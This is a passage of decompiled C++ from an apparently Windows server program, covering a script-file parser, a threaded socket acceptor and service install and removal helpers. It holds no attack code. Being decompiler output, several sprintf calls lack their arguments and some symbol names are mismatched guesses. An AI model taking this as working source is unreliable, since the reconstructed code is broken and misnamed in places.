[bp-4h]@1 v2 = this; CToken::CToken(&this->baseclass_0); v12 = 0; if ( pParentCsl ) { v2->m_bEnd = pParentCsl->m_bEnd; v3 = pParentCsl->m_CslSeprator; v2->m_bRemarkBlock = pParentCsl->m_bRemarkBlock; v2->m_NumFormatErrors = 0; v2->m_NumDataErrors = 0; do { v4 = *v3; v3[v2->m_CslSeprator - pParentCsl->m_CslSeprator] = *v3; ++v3; } while ( v4 ); v5 = pParentCsl->m_CslRemarkLine; do { v6 = *v5; v5[v2->m_CslRemarkLine - pParentCsl->m_CslRemarkLine] = *v5; ++v5; } while ( v6 ); v7 = pParentCsl->m_CslRemarkStart; do { v8 = *v7; v7[v2->m_CslRemarkStart - pParentCsl->m_CslRemarkStart] = *v7; ++v7; } while ( v8 ); v9 = pParentCsl->m_CslRemarkEnd; do { v10 = *v9; v9[v2->m_CslRemarkEnd - pParentCsl->m_CslRemarkEnd] = *v9; ++v9; } while ( v10 ); v2->m_CslRemarks = pParentCsl->m_CslRemarks; v2->m_pCslCmd = pParentCsl->m_pCslCmd; v2->m_pCslParameter = pParentCsl->m_pCslParameter; v2->m_pCslParameterSize = pParentCsl->m_pCslParameterSize; v2->m_NumFormats = pParentCsl->m_NumFormats; v2->m_pFormats = pParentCsl->m_pFormats; v2->m_pFormatLast = pParentCsl->m_pFormatLast; v2->m_NumDatas = pParentCsl->m_NumDatas; v2->m_pDatas = pParentCsl->m_pDatas; v2->m_pDataLast = pParentCsl->m_pDataLast; v2->m_dwNumResultMsg = pParentCsl->m_dwNumResultMsg; v2->m_pResultMsgLast = pParentCsl->m_pResultMsgLast; v2->m_pResultMsgs = pParentCsl->m_pResultMsgs; v2->m_pParentCsl = pParentCsl; v2->m_bInclude = 1; } else { CCsl::CCsl(&thisa); CCsl::_CCsl(&thisa); } } //----- (005EA380) -------------------------------------------------------- void __thiscall CCsl::IncludeFile(CCsl *this) { CCsl *v1; // esi@1 char *v2; // eax@1 int v3; // edx@1 char v4; // cl@2 unsigned int v5; // ST28_4@3 HWND__ *v6; // ST24_4@3 char drive[3]; // [sp+8h] [bp-C20h]@1 int pstrsize; // [sp+Ch] [bp-C1Ch]@1 CCsl Include; // [sp+10h] [bp-C18h]@3 char AbsPath[260]; // [sp+508h] [bp-720h]@3 char NewCurrDir[260]; // [sp+60Ch] [bp-61Ch]@3 char szPathName[260]; // [sp+710h] [bp-518h]@1 char dir[256]; // [sp+814h] [bp-414h]@3 char CurrDir[260]; // [sp+914h] [bp-314h]@3 char fname[256]; // [sp+A18h] [bp-210h]@3 char ext[256]; // [sp+B18h] [bp-110h]@3 unsigned int v17; // [sp+C18h] [bp-10h]@1 int v18; // [sp+C24h] [bp-4h]@3 v17 = (unsigned int)drive ^ __security_cookie; v1 = this; v2 = CToken::GetTokenString(&this->baseclass_0, &pstrsize); v3 = (int)szPathName; do { v4 = *v2++; *(_BYTE *)v3++ = v4; } while ( v4 ); GetCurrentDirectoryA(0x104u, CurrDir); _fullpath(AbsPath, v1->m_ScriptFN, 0x104u); _splitpath(AbsPath, drive, dir, fname, ext); sprintf(NewCurrDir, "%s%s"); SetCurrentDirectoryA(NewCurrDir); CToken::SaveTokenPositon(&v1->baseclass_0); CCsl::CCsl(&Include, v1); v5 = v1->m_UseMsgID; v6 = v1->m_hWnd; v18 = 0; CCsl::ReadScript(&Include, szPathName, v6, v5, 0); CToken::RestoreTokenPositon(&v1->baseclass_0, 0); SetCurrentDirectoryA(CurrDir); v18 = -1; CCsl::_CCsl(&Include); __security_check_cookie((unsigned int)drive ^ v17); } //----- (005EA4E0) -------------------------------------------------------- int __thiscall CCsl::ProcCmd(CCsl *this, char *Token, char *pRet) { CCsl *v3; // esi@1 char **v4; // ecx@1 int result; // eax@2 CCsl::CSL_FORMAT_LIST *v6; // eax@3 void *v7; // eax@14 void *v8; // edi@14 void *v9; // edi@21 CCsl::CSL_FORMAT_LIST *v10; // ebx@22 void *v11; // edi@33 CCsl::CSL_DATA_LIST *v12; // ebx@34 const char *v13; // [sp-8h] [bp-32Ch]@18 const char *v14; // [sp-8h] [bp-32Ch]@28 DWORD NumberOfBytesWritten; // [sp+10h] [bp-314h]@1 unsigned int *Buffer; // [sp+14h] [bp-310h]@23 int v17; // [sp+18h] [bp-30Ch]@23 char szPathName[260]; // [sp+1Ch] [bp-308h]@9 char RetMsg[512]; // [sp+120h] [bp-204h]@11 unsigned int v20; // [sp+320h] [bp-4h]@1 v3 = this; v4 = this->m_pCslCmd; v20 = (unsigned int)&NumberOfBytesWritten ^ __security_cookie; switch ( CToken::IsTokenID(&v3->baseclass_0, Token, v4, 0xAu) ) { case 0u: v3->m_bEnd = 1; return 1; case 1u: v6 = CCsl::MakeFormat(v3); if ( !v6 ) return 1; CCsl::AddFormat(v3, v6); return 1; case 2u: CCsl::IncludeFile(v3); return 1; case 3u: CCsl::ClearFormats(v3); goto $L64608; case 5u: $L64608: CCsl::ClearDatas(v3); return 1; case 4u: CCsl::ClearFormats(v3); return 1; case 6u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; if ( CCsl::Read(v3, szPathName) ) { sprintf(RetMsg, "%s - READ OK"); CCsl::AddResultMsg(v3, RetMsg); result = 1; } else { ++v3->m_NumDataErrors; sprintf(RetMsg, "%s - READ ERROR"); CCsl::AddResultMsg(v3, RetMsg); result = 1; } return result; case 7u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v7 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); v8 = v7; if ( v7 == (void *)-1 ) goto LABEL_18; if ( CCsl::WriteFormat(v3, 0, v7) && CCsl::WriteData(v3, 0, v8) ) { CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v8); v13 = "%s - WRITE OK"; goto LABEL_44; } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v8); LABEL_18: v13 = "%s - WRITE ERROR"; goto LABEL_43; case 8u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v9 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( v9 == (void *)-1 ) goto LABEL_30; v10 = v3->m_pFormats; if ( !v10 ) goto LABEL_28; while ( 1 ) { Buffer = (unsigned int *)((char *)&pathfindtable.pft_table[1569][591].pfc_flag + 1); v17 = 4 * v10->NumParameter + 68; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v9, &Buffer, 8u, &NumberOfBytesWritten, 0) ) break; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v9, v10, 0x40u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v9, &v10->NumParameter, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile( &v3->baseclass_0.m_Gdp, v9, v10->pParameter, 4 * v10->NumParameter, &NumberOfBytesWritten, 0) ) break; v10 = v10->pNext; if ( !v10 ) { LABEL_28: CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v9); v14 = "%s - WRITE FORMAT OK"; goto LABEL_31; } } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v9); LABEL_30: ++v3->m_NumDataErrors; v14 = "%s - WRITE FORMAT ERROR"; LABEL_31: sprintf(RetMsg, v14); CCsl::AddResultMsg(v3, RetMsg); return 1; case 9u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v11 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( v11 == (void *)-1 ) goto LABEL_42; v12 = v3->m_pDatas; if ( !v12 ) goto LABEL_40; break; default: return 0; } while ( 1 ) { Buffer = (unsigned int *)572662306; v17 = v12->dwSize + 8; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v11, &Buffer, 8u, &NumberOfBytesWritten, 0) ) break; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v11, v12, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v11, &v12->dwSize, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v11, v12->pData, v12->dwSize, &NumberOfBytesWritten, 0) ) break; v12 = v12->pNext; if ( !v12 ) { LABEL_40: CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v11); v13 = "%s - WRITE DATA OK"; goto LABEL_44; } } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v11); LABEL_42: v13 = "%s - WRITE DATA ERROR"; LABEL_43: ++v3->m_NumDataErrors; LABEL_44: sprintf(RetMsg, v13); CCsl::AddResultMsg(v3, RetMsg); return 1; } //----- (005EA940) -------------------------------------------------------- int __thiscall CCsl::ReadScript(CCsl *this, char *lpszPathName, HWND__ *hWnd, unsigned int UseMsgID, void *pMemory) { CCsl *v5; // esi@1 int v6; // eax@2 char *v7; // eax@9 char v8; // cl@10 char *v9; // eax@12 char *v10; // edi@12 int result; // eax@18 char *v12; // [sp-14h] [bp-220h]@20 const char *v13; // [sp-10h] [bp-21Ch]@20 char *v14; // [sp-4h] [bp-210h]@6 char RetMsg[512]; // [sp+8h] [bp-204h]@1 unsigned int v16; // [sp+208h] [bp-4h]@1 v5 = this; v16 = (unsigned int)RetMsg ^ __security_cookie; this->m_hWnd = hWnd; this->m_UseMsgID = UseMsgID; if ( pMemory ) v6 = CToken::OpenFromMemory(&this->baseclass_0, (char *)pMemory); else v6 = CToken::Open(&this->baseclass_0, lpszPathName); if ( v6 ) { if ( v5->m_bInclude ) { CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); sprintf(RetMsg, "Include - %s "); CCsl::AddResultMsg(v5, RetMsg); v14 = "---------------------------------------------------------------"; } else { CCsl::AddResultMsg(v5, "================================================================================"); sprintf(RetMsg, "FILE PROCESSING - %s "); CCsl::AddResultMsg(v5, RetMsg); CCsl::AddResultMsg(v5, "================================================================================"); v14 = (char *)&stru_63450C; } CCsl::AddResultMsg(v5, v14); if ( lpszPathName ) { v7 = lpszPathName; do { v8 = *v7; v7[v5->m_ScriptFN - lpszPathName] = *v7; ++v7; } while ( v8 ); } CToken::SetSeprator(&v5->baseclass_0, v5->m_CslSeprator); while ( !v5->m_bEnd ) { v9 = CToken::GetToken(&v5->baseclass_0); v10 = v9; if ( !v9 ) break; if ( !CCsl::ProcRemark(v5, v9) && !CCsl::ProcCmd(v5, v10, RetMsg) ) { if ( !CCsl::ProcData(v5, v10, RetMsg) ) { sprintf(RetMsg, "%s - UNKNOWNED."); CCsl::AddResultMsg(v5, RetMsg); ++v5->m_NumDataErrors; } } } CCsl::ReadScriptDone(v5); CToken::Close(&v5->baseclass_0); result = v5->m_NumFormatErrors + v5->m_NumDataErrors <= 0; } else { GetLastError(); CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); if ( v5->m_bInclude ) { v13 = "INCLUDE OPEN ERROR(Code = %d) - %s "; v12 = RetMsg; } else { v13 = "FILE OPEN ERROR(Code = %d) - %s "; v12 = RetMsg; } sprintf(v12, v13); CCsl::AddResultMsg(v5, RetMsg); CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); ++v5->m_NumFormatErrors; CCsl::ReadScriptDone(v5); result = 0; } return result; } //----- (005EAB70) -------------------------------------------------------- void __thiscall CSocket_Acceptor::CSocket_Acceptor(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; CSocket_Acceptor_Process::CSocket_Acceptor_Process(&this->m_Acceptor_Process); v1->m_ListenSocket = -1; *(_DWORD *)&v1->m_ListenSocketAddr.sa_family = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[2] = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[6] = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[10] = 0; v1->m_bActiveAcceptThread = 0; v1->m_bAcceptThreadStop = 0; v1->m_Listen_TimeOut.tv_sec = 0; v1->m_Listen_TimeOut.tv_usec = 5; v1->m_hAcceptThread = 0; v1->m_AcceptThreadID = 0; v1->m_NumOfListen = 0; v1->m_NumOfAccepted = 0; v1->m_Accepted_Input = 0; v1->m_Accepted_Output = 0; InitializeCriticalSection(&v1->m_ListenBF_CS); InitializeCriticalSection(&v1->m_AcceptBF_CS); } //----- (005EAC00) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Stop(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; if ( this->m_ListenSocket != -1 ) { if ( shutdown(this->m_ListenSocket, 1) ) GetLastError(); if ( v1->m_ListenSocket != -1 ) { if ( closesocket(v1->m_ListenSocket) ) GetLastError(); else v1->m_ListenSocket = -1; } } if ( v1->m_bActiveAcceptThread ) { v1->m_bAcceptThreadStop = 1; do Sleep(5u); while ( v1->m_bActiveAcceptThread ); } return 1; } //----- (005EAC70) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Listen_Add(CSocket_Acceptor *this, char *pIPAddress, int PortNo, unsigned int UserData, int BacklogCount) { CSocket_Acceptor *v5; // edi@1 _RTL_CRITICAL_SECTION *v6; // ebp@1 signed int v7; // edx@1 signed int v8; // eax@2 int v9; // ecx@2 int result; // eax@7 char *v11; // ecx@8 int v12; // esi@8 char v13; // al@9 char Msg[256]; // [sp+Ch] [bp-104h]@1 unsigned int v15; // [sp+10Ch] [bp-4h]@1 v5 = this; v6 = &this->m_ListenBF_CS; v15 = (unsigned int)Msg ^ __security_cookie; EnterCriticalSection(&this->m_ListenBF_CS); v7 = v5->m_NumOfListen; if ( v7 >= 10 ) goto LABEL_7; v8 = 0; v9 = (int)v5->m_ListenArray; while ( *(_DWORD *)v9 ) { ++v8; v9 += 100; if ( v8 >= 10 ) goto LABEL_7; } if ( v8 != -1 ) { v11 = pIPAddress; v12 = (int)((char *)v5 + 100 * v8); v5->m_NumOfListen = v7 + 1; do { v13 = *v11; v11[v12 + 44 - (_DWORD)pIPAddress] = *v11; ++v11; } while ( v13 ); *(_DWORD *)(v12 + 108) = PortNo; *(_DWORD *)(v12 + 112) = BacklogCount; *(_DWORD *)(v12 + 116) = UserData; *(_DWORD *)(v12 + 20) = 1; LeaveCriticalSection(v6); while ( *(_DWORD *)(v12 + 20) == 1 ) Sleep(0xAu); if ( *(_DWORD *)(v12 + 20) == 2 ) { sprintf(Msg, "*FAILED Listen_Add - IP = %s:%d"); _DebugMessageNew(1, "Msg", "%s"); EnterCriticalSection(v6); *(_DWORD *)(v12 + 20) = 0; --v5->m_NumOfListen; LeaveCriticalSection(v6); result = 0; } else { result = 1; } } else { LABEL_7: LeaveCriticalSection(v6); _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } //----- (005EADD0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::GetAccepted(CSocket_Acceptor *this, CSocket_Acceptor::ACCEPTED_SOCKET_INFO *pSocketInfo, int bRemove) { CSocket_Acceptor *v3; // ebx@1 _RTL_CRITICAL_SECTION *v4; // ebp@1 unsigned int v5; // eax@1 int result; // eax@2 unsigned int v7; // edx@4 v3 = this; v4 = &this->m_AcceptBF_CS; EnterCriticalSection(&this->m_AcceptBF_CS); v5 = v3->m_Accepted_Output; if ( v3->m_Accepted_Input == v5 ) { LeaveCriticalSection(v4); result = 0; } else { memcpy(pSocketInfo, &v3->m_AcceptedRing[v5], 0x1Cu); if ( bRemove ) { v7 = (v3->m_Accepted_Output + 1) % 0x514; --v3->m_NumOfAccepted; v3->m_Accepted_Output = v7; } LeaveCriticalSection(v4); result = 1; } return result; } //----- (005EAE50) -------------------------------------------------------- int __thiscall CSocket_Acceptor::SetAccepted(CSocket_Acceptor *this, unsigned int Socket, sockaddr_in *pSocketAddr, unsigned int UserData) { CSocket_Acceptor *v4; // ebx@1 _RTL_CRITICAL_SECTION *v5; // esi@1 int result; // eax@2 unsigned int v7; // ebp@4 int v8; // ecx@8 unsigned int v9; // edx@8 unsigned int i; // [sp+8h] [bp-8h]@3 _RTL_CRITICAL_SECTION *lpCriticalSection; // [sp+Ch] [bp-4h]@1 v4 = this; v5 = &this->m_AcceptBF_CS; lpCriticalSection = &this->m_AcceptBF_CS; EnterCriticalSection(&this->m_AcceptBF_CS); if ( (v4->m_Accepted_Input + 1) % 0x514 == v4->m_Accepted_Output ) { LeaveCriticalSection(v5); result = 0; } else { CGTimer::GetTime(); i = 0; if ( v4->m_NumOfAccepted ) { v7 = v4->m_Accepted_Output; while ( strncmp( &v4->m_AcceptedRing[v7 % 0x514].SocketAddr.sin_addr.S_un.S_un_b.s_b1, &pSocketAddr->sin_addr.S_un.S_un_b.s_b1, 4) ) { ++v7; ++i; if ( i >= v4->m_NumOfAccepted ) { v5 = lpCriticalSection; goto LABEL_8; } } LeaveCriticalSection(lpCriticalSection); result = 0; } else { LABEL_8: v4->m_AcceptedRing[v4->m_Accepted_Input].Socket = Socket; v8 = (int)&v4->m_AcceptedRing[v4->m_Accepted_Input].SocketAddr; *(_DWORD *)v8 = *(_DWORD *)&pSocketAddr->sin_family; *(_DWORD *)(v8 + 4) = *(_DWORD *)&pSocketAddr->sin_addr.S_un.S_un_b.s_b1; *(_DWORD *)(v8 + 8) = *(_DWORD *)&pSocketAddr->sin_zero[0]; *(_DWORD *)(v8 + 12) = *(_DWORD *)&pSocketAddr->sin_zero[4]; v4->m_AcceptedRing[v4->m_Accepted_Input].UserData = UserData; v4->m_AcceptedRing[v4->m_Accepted_Input].AcceptTime = CGTimer::GetTime(); v9 = (v4->m_Accepted_Input + 1) % 0x514; ++v4->m_NumOfAccepted; v4->m_Accepted_Input = v9; LeaveCriticalSection(v5); result = 1; } } return result; } //----- (005EAFC0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::AcceptThreadWork(CSocket_Acceptor *this, unsigned int CheckPoint) { CSocket_Acceptor *v2; // ebx@1 char *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 SOCKET v6; // ST24_4@9 SOCKET v7; // eax@9 SOCKET v8; // edi@9 unsigned __int32 v9; // eax@13 int v10; // edx@13 SOCKET v11; // edi@13 int setsendbfsize; // [sp+10h] [bp-230h]@1 int len; // [sp+14h] [bp-22Ch]@9 int getsendbfsize; // [sp+18h] [bp-228h]@10 u_long arg; // [sp+1Ch] [bp-224h]@10 int getsendbfsizelen; // [sp+20h] [bp-220h]@10 int bAcceptSocket; // [sp+24h] [bp-21Ch]@1 fd_set fds; // [sp+28h] [bp-218h]@6 struct sockaddr addr; // [sp+12Ch] [bp-114h]@9 char Msg[256]; // [sp+13Ch] [bp-104h]@7 unsigned int v22; // [sp+23Ch] [bp-4h]@1 v22 = (unsigned int)&setsendbfsize ^ __security_cookie; v2 = this; v3 = (char *)this + 100 * CheckPoint; v4 = *((_DWORD *)v3 + 5) - 1; bAcceptSocket = 0; if ( v4 ) { v5 = v4 - 2; if ( v5 ) { if ( v5 == 1 ) { closesocket(*((_DWORD *)v3 + 6)); *((_DWORD *)v3 + 5) = 0; } } else { if ( 1299 - this->m_NumOfAccepted >= 1 ) { fds.fd_array[0] = *((_DWORD *)v3 + 6); fds.fd_count = 1; if ( select(0, &fds, 0, 0, &this->m_Listen_TimeOut) == -1 ) { GetLastErrorStr(0, 1); sprintf(Msg, "ERROR - LISTEN SOCKET ACTIVE (%s) %s:%d ServerFromID=%d"); _DebugMessageNew(1, "Msg", "%s"); } else { if ( __WSAFDIsSet(*((_DWORD *)v3 + 6), &fds) ) { v6 = *((_DWORD *)v3 + 6); len = 16; v7 = accept(v6, &addr, &len); v8 = v7; if ( v7 != -1 ) { arg = 1; ioctlsocket(v7, -2147195266, &arg); getsendbfsizelen = 4; getsockopt(v8, 65535, 4097, (char *)&getsendbfsize, &getsendbfsizelen); setsendbfsize = 32768; setsockopt(v8, 65535, 4097, (const char *)&setsendbfsize, 4); getsockopt(v8, 65535, 4097, (char *)&getsendbfsize, &getsendbfsizelen); if ( CSocket_Acceptor::SetAccepted(v2, v8, (sockaddr_in *)&addr, *((_DWORD *)v3 + 29)) ) { bAcceptSocket = 1; } else { shutdown(v8, 2); closesocket(v8); } } } } } } } else { *(_DWORD *)&addr.sa_family = 0; *(_DWORD *)&addr.sa_data[2] = 0; *(_DWORD *)&addr.sa_data[6] = 0; *(_DWORD *)&addr.sa_data[10] = 0; addr.sa_family = 2; v9 = inet_addr(v3 + 44); v10 = *((_WORD *)v3 + 54); *(_DWORD *)&addr.sa_data[2] = v9; *(_WORD *)&addr.sa_data[0] = htons(v10); v11 = socket(2, 1, 0); if ( v11 == -1 || (setsendbfsize = 1, getsendbfsize = 1, setsockopt(v11, 65535, 4, (const char *)&getsendbfsize, 4), ioctlsocket(v11, -2147195266, (u_long *)&setsendbfsize), arg = 32768, setsockopt(v11, 65535, 4097, (const char *)&arg, 4), bind(v11, &addr, 16) == -1) || listen(v11, *((_DWORD *)v3 + 28)) == -1 ) { *((_DWORD *)v3 + 5) = 2; WSACleanup(); } else { len = 4; getsockname(v11, (struct sockaddr *)(v3 + 28), &len); *((_DWORD *)v3 + 6) = v11; *((_DWORD *)v3 + 5) = 3; } } return bAcceptSocket; } //----- (005EB2B0) -------------------------------------------------------- void __thiscall CSocket_Acceptor::_CSocket_Acceptor(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; CSocket_Acceptor::Stop(this); DeleteCriticalSection(&v1->m_ListenBF_CS); DeleteCriticalSection(&v1->m_AcceptBF_CS); } //----- (005EB2E0) -------------------------------------------------------- unsigned int __stdcall CSocket_Acceptor::AcceptThreadRing(void *lpParam) { int v1; // eax@1 unsigned int v2; // esi@1 unsigned int v3; // esi@2 int v4; // edi@2 unsigned int result; // eax@6 DWORD v6; // [sp-Ch] [bp-14h]@3 v1 = *((_DWORD *)lpParam + 9374); v2 = 0; *((_DWORD *)lpParam + 9373) = 1; if ( v1 ) { *((_DWORD *)lpParam + 9373) = 0; result = 0; } else { do { v3 = v2 % 0xA; EnterCriticalSection((LPCRITICAL_SECTION)((char *)lpParam + 1024)); v4 = CSocket_Acceptor::AcceptThreadWork((CSocket_Acceptor *)lpParam, v3); LeaveCriticalSection((LPCRITICAL_SECTION)((char *)lpParam + 1024)); v2 = v3 + 1; if ( v4 ) v6 = 1; else v6 = 10; Sleep(v6); } while ( !*((_DWORD *)lpParam + 9374) ); *((_DWORD *)lpParam + 9373) = 0; result = 0; } return result; } //----- (005EB370) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Listen_Start(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 HANDLE v2; // eax@3 v1 = this; if ( !this->m_bActiveAcceptThread ) { if ( !InetAddress::WinSockStart(2, 2) || (v1->m_ListenArray[0].Work = 0, v1->m_ListenArray[1].Work = 0, v1->m_ListenArray[2].Work = 0, v1->m_ListenArray[3].Work = 0, v1->m_ListenArray[4].Work = 0, v1->m_ListenArray[5].Work = 0, v1->m_ListenArray[6].Work = 0, v1->m_ListenArray[7].Work = 0, v1->m_ListenArray[8].Work = 0, v1->m_ListenArray[9].Work = 0, v1->m_bAcceptThreadStop = 0, v2 = CreateThread(0, 0, CSocket_Acceptor::AcceptThreadRing, v1, 0, &v1->m_AcceptThreadID), (v1->m_hAcceptThread = v2) == 0) ) return 0; while ( v1->m_bActiveAcceptThread != 1 ) Sleep(5u); } return 1; } //----- (005EB420) -------------------------------------------------------- void __thiscall WinService::_WinService(WinService *this) { this->baseclass_0.vfptr = (SingletonVtbl *)&WinService::_vftable_; String::_String(&this->serviceName); } // 688F98: using guessed type int (__cdecl *WinService___vftable_)(int __formal); //----- (005EB430) -------------------------------------------------------- bool __thiscall WinService::uploadService(WinService *this, String svcName, String displayName, String modulePath) { SC_HANDLE__ *v4; // esi@1 char *v5; // ST1C_4@2 char *v6; // ST08_4@2 char *v7; // eax@2 SC_HANDLE__ *v8; // eax@2 v4 = OpenSCManagerA(0, 0, 2u); if ( !v4 ) goto LABEL_4; v5 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&modulePath); v6 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&displayName); v7 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&svcName); v8 = CreateServiceA(v4, v7, v6, 0, 0x10u, 3u, 0, v5, 0, 0, 0, 0, 0); if ( !v8 ) { CloseServiceHandle(v4); LABEL_4: String::_String(&svcName); String::_String(&displayName); String::_String(&modulePath); return 0; } CloseServiceHandle(v8); CloseServiceHandle(v4); String::_String(&svcName); String::_String(&displayName); String::_String(&modulePath); return 1; } //----- (005EB540) -------------------------------------------------------- bool __thiscall WinService::removeService(WinService *this, String svcName) { SC_HANDLE__ *v2; // esi@1 bool result; // al@2 char *v4; // eax@3 SC_HANDLE__ *v5; // edi@3 v2 = OpenSCManagerA(0, 0, 2u); if ( v2 ) { v4 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&svcName); v5 = OpenServiceA(v2, v4, 0x10000u); DeleteService(v5); CloseServiceHandle(v5); CloseServiceHandle(v2); String::_String(&svcName); result = 1; } else { String::_String(&svcName); result = 0; } return result; } //----- (005EB5F0) -------------------------------------------------------- void __thiscall WinService::onServiceStop(WinService *this) { WinService *v1; // esi@1 SERVICE_STATUS_HANDLE__ *v2; // ST00_4@1 SERVICE_STATUS_HANDLE__ *v3; // ST00_4@1 struct _SERVICE_STATUS ServiceStatus; // [sp+Ch] [bp-1Ch]@1 v1 = this; v2 = this->handleServiceStatus; ServiceStatus.dwServiceType = 16; ServiceStatus.dwControlsAccepted = 5; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCurrentState = 3; ServiceStatus.dwCheckPoint = 1; ServiceStatus.dwWaitHint = 5000; SetServiceStatus(v2, &ServiceStatus); v1->serviceStopFunc(); v3 = v1->handleServiceStatus; ServiceStatus.dwCurrentState = 1; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(v3, &ServiceStatus); if ( v1->handleServiceEvent == (void *)-1 ) { CloseHandle((HANDLE)0xFFFFFFFF); v1->handleServiceEvent = (void *)-1; } } //----- (005EB680) -------------------------------------------------------- int __thiscall WinService::queryServiceStatus(WinService *this, unsigned int *pResult, const char *netMachine, const char *serviceName) { WinService *v4; // ebx@1 SC_HANDLE__ *v5; // eax@1 SC_HANDLE__ *v6; // esi@1 int result; // eax@2 SC_HANDLE__ *v8; // eax@3 SC_HANDLE__ *v9; // edi@3 v4 = this; v5 = OpenSCManagerA(netMachine, 0, 0x80000000u); v6 = v5; if ( v5 ) { v8 = OpenServiceA(v5, serviceName, 4u); v9 = v8; if ( v8 ) { if ( QueryServiceStatus(v8, &v4->ssQueryControl) ) { CloseServiceHandle(v9); CloseServiceHandle(v6); *pResult = v4->ssQueryControl.dwCurrentState; result = 1; } else { *pResult = GetLastError(); CloseServiceHandle(v9); CloseServiceHandle(v6); result = 0; } } else { *pResult = GetLastError(); CloseServiceHandle(v6); result = 0; } } else { *pResult = GetLastError(); result = 0; } return result; } //----- (005EB730) -------------------------------------------------------- void __thiscall WinService::WinService(WinService *this) { WinService *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (SingletonVtbl *)&WinService::_vftable_; String::String(&this->serviceName); v1->handleServiceEvent = (void *)-1; } // 688F98: using guessed type int (__cdecl *WinService___vftable_)(int __formal); //----- (005EB750) -------------------------------------------------------- void *__thiscall WinService::_vector_deleting_destructor_(WinService *this, unsigned int a2) { void *v2; // esi@1 v2 = this; WinService::_WinService(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005EB770) -------------------------------------------------------- void __stdcall WinService::serviceHandler(unsigned int status) { WinService *v1; // eax@1 Singleton::getInstance()->statusEvent = status; v1 = Singleton::getInstance(); SetEvent(v1->handleServiceEvent); } //----- (005EB790) -------------------------------------------------------- bool __thiscall WinService::onServiceStart(WinService *this) { WinService *v1; // esi@1 char *v2; // eax@1 SERVICE_STATUS_HANDLE__ *v3; // eax@1 int (*v4)(void); // eax@1 bool result; // al@2 SERVICE_STATUS_HANDLE__ *v6; // ST08_4@3 struct _SERVICE_STATUS ServiceStatus; // [sp+Ch] [bp-1Ch]@1 v1 = this; this->handleServiceEvent = CreateEventA(0, 0, 0, 0); v2 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&v1->serviceName); v3 = RegisterServiceCtrlHandlerA(v2, WinService::serviceHandler); v1->handleServiceStatus = v3; ServiceStatus.dwServiceType = 16; ServiceStatus.dwCurrentState = 2; ServiceStatus.dwControlsAccepted = 5; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 1; ServiceStatus.dwWaitHint = 1000; SetServiceStatus(v3, &ServiceStatus); v4 = (int (*)(void))v1->serviceStartFunc; if ( !v4 || (result = v4()) != 0 ) { v6 = v1->handleServiceStatus; ServiceStatus.dwCurrentState = 4; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(v6, &ServiceStatus); result = 1; } return result; } //----- (005EB840) -------------------------------------------------------- void __stdcall WinService::serviceLoop(unsigned int argc, char **argv) { WinService *v2; // eax@1 WinService *v3; // eax@2 WinService *v4; // eax@3 WinService *v5; // eax@4 v2 = Singleton::getInstance(); if ( WinService::onServiceStart(v2) ) { while ( 2 ) { v4 = Singleton::getInstance(); WaitForSingleObject(v4->handleServiceEvent, 0xFFFFFFFFu); switch ( Singleton::getInstance()->statusEvent ) { default: continue; case 1u: case 5u: v5 = Singleton::getInstance(); WinService::onServiceStop(v5); break; } 